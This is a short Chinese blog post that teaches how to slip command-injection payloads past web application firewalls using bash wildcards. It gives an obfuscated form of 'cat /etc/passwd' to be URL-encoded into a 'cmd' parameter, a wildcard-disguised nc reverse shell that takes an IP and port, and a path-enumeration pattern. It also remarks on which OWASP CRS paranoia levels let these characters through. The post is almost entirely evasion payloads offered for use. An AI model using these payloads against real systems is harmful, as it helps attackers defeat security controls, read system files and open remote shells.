如何绕过应用程序防火墙之通配符

bash 语法可以使用问号 ?、正斜杠 /、数字和字母来执行系统命令

1、bash中的echo允许使用通配符* ? /等

2、比如ls可以使用/???/?s来进行来代替

3、waf拦截?cmd=cat /etc/passwd,可能会永远封锁ip可以进行替换?cmd=/???/??t+/???/??s???替换再进行url编码

4、反弹shell 可以使用/???/?c ip长整数 port进行替换

5、使用echo来枚举路径例如:/*/*ss*

MODSECURITY OWASP CRS 3.0

PL1~PL4   允许的ASCII码越来越少,能够使用的字符也越来越少。

PL0开启的规则较少,因此可以正常使用

通过增加和减少通配符可以进行waf绕过

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容